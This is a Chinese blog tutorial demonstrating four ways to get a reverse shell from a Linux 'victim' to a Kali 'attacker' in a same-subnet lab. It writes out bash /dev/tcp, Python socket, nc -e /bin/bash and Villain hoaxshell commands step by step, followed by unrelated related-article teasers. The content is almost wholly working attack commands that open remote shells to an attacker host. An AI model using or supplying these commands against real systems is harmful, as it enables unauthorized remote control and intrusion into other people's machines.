2024 同一个网段,反弹shell四种方法【linux版本】bash、python、nc、villian反弹shell图解步骤

news/2024/11/16 23:08:52/

实验环境准备(同一个网段下,我是桥接的虚拟机)

一、bash反弹shell

二、python反弹shell

三、nc反弹shell

四、villain反弹shell


实验环境准备(同一个网段下,我是桥接的虚拟机)

      一台kali的linux(攻击者)

        一台centos7/debian[另一个linux](受害者)

一、bash反弹shell

注意:自定义的端口号需要保持一致哦

  1、kali(攻击者)运行命令

nc -lvp 自定义端口号

 

2、debian(受害者)运行命令

 bash -i >& /dev/tcp/攻击者主机的ip/自定义的端口号 0>&1

 

3、结果在kali这边输出,并且已经连接成功,我们可以执行whoami查看权限

whoami

 

二、python反弹shell

注意:自定义的端口号需要保持一致哦

  1、kali(攻击者)运行命令

nc -lvp 自定义端口号

 

2、debian(受害者)运行命令

注意修改攻击者的ip和端口号

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('攻击者的主机ip',自定义的端口号));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

3、结果在kali这边输出,并且已经连接成功,我们可以执行whoami查看权限

whoami

三、nc反弹shell

 注意:自定义的端口号需要保持一致哦

  1、kali(攻击者)运行命令

nc -lvp 自定义端口号

 

2、debian(受害者)运行命令

nc -e /bin/bash 攻击者ip 自定义的端口号

3、结果在kali这边输出,(这个不回显)我们可以直接执行whoami查看权限

whoami

四、villain反弹shell

   1、kali(攻击者)运行命令

 ①运行villain,需要先安装哦

villain

②生成linux的payload命令复制灰色区域的文字到debian的命令行中

温馨提示:可以在villain中使用help generate查看windows的payload生成方法

generate payload=linux/hoaxshell/sh_curl lhost=eth0

2、debian(受害者)复制并运行刚才生成的payload命令

3、结果在kali这边输出

②我们查看上线的主机

sessions

②进入shell,shell session的英文编码id,控制一下debian(受害者)

shell sessionID

③whoami看一下权限 

whoami


http://www.ppmy.cn/news/1547562.html

相关文章

比特大陆/算能科技嵌入式面试题及参考答案

请描述 ubuntu 系统启动的过程。 当按下计算机电源按钮后,计算机硬件开始自检,这个过程是由 BIOS(或 UEFI)来执行的。BIOS 会检查硬件设备是否正常工作,如内存、硬盘等。之后,BIOS 会按照预设的启动顺序查找可引导的设备。 一旦找到包含 Ubuntu 系统的存储设备(如硬盘)…

嵌入式面试题练习 - 2024/11/15

欢迎找我进行职业规划,超值的自我投资 -> 嵌入式软件工程师一对一指导 1.设有定义char *p[]{"Shanghai","Beijing","Honkong"};则结果为j字符的表达式是() A *p[1] 3 B *(p[1] 3) C *(p[3] 1) D p[3] […

一个win32 / WTL下多线程库(CThread类)的使用心得

说是多线程库&#xff0c;其实就是一个单独的.h文件&#xff0c;可以方便的放入WTL/win32工程中。 下载地址&#xff1a;CThread. 里面也简单介绍了 用法。 具体用法&#xff0c;首先自定义一个子线程类继承CThreadImpl<T>&#xff0c;注意他是个模板类。 class CMySu…

Flume1.9.0自定义拦截器

需求 1、在linux日志文件/data/log/moreInfoRes.log中一直会产生如下JSON数据&#xff1a; {"id":"14943445328940974601","uid":"840717325115457536","lat":"53.530598","lnt":"-2.5620373&qu…

服务器能支持承载多少访问量??

服务器能支持承载的访问量是一个受多种因素影响的复杂问题。 以下是对该问题的详细分析&#xff1a; 一、关键影响因素 服务器的硬件配置&#xff1a; 处理器性能&#xff1a;服务器的CPU性能决定了其处理请求的速度和能力。高性能的CPU能够更快速地处理并发请求&#xff0c;…

提升治超站效率:因泰立科技激光式车辆长宽高检测系统

ILS-04激光式车辆长宽高检测系统是因泰立科技自主研发的一套全自动车辆长宽高检测系统。已广泛地应用于固定式治超站、高速公路入口治超站、非现场执法站、物料场、停车场的车辆长宽高检测。 激光车辆检测技术的优点&#xff1a;检测精度明显高于目前同类的非接触检测技术如微波…

C/C++语言基础--initializer_list表达式、tuple元组、pair对组简介

本专栏目的 更新C/C的基础语法&#xff0c;包括C的一些新特性 前言 initializer_list表达式、tuple元组、pair对组再C日常还是比较常用的&#xff0c;尤其是对组在刷算法还是挺好用的&#xff0c;这里做一个简介&#xff1b;这三个语法结合C17的结构化绑定会更好用&#xff…

创客节初中组C++模拟题

来源:加码未来2024年深圳罗湖区创客节模拟题(初中组) 第一题 题目描述 通常为了节约时间,我们会用一个字母代替一个单词,比如Y代替Yes,N代替No。给出一个字母,输出其代替的单词 输入格式 一个字母,可能为大写或小写,但只会是yYnN之一。 输出格式 Yes 或 No 样例输…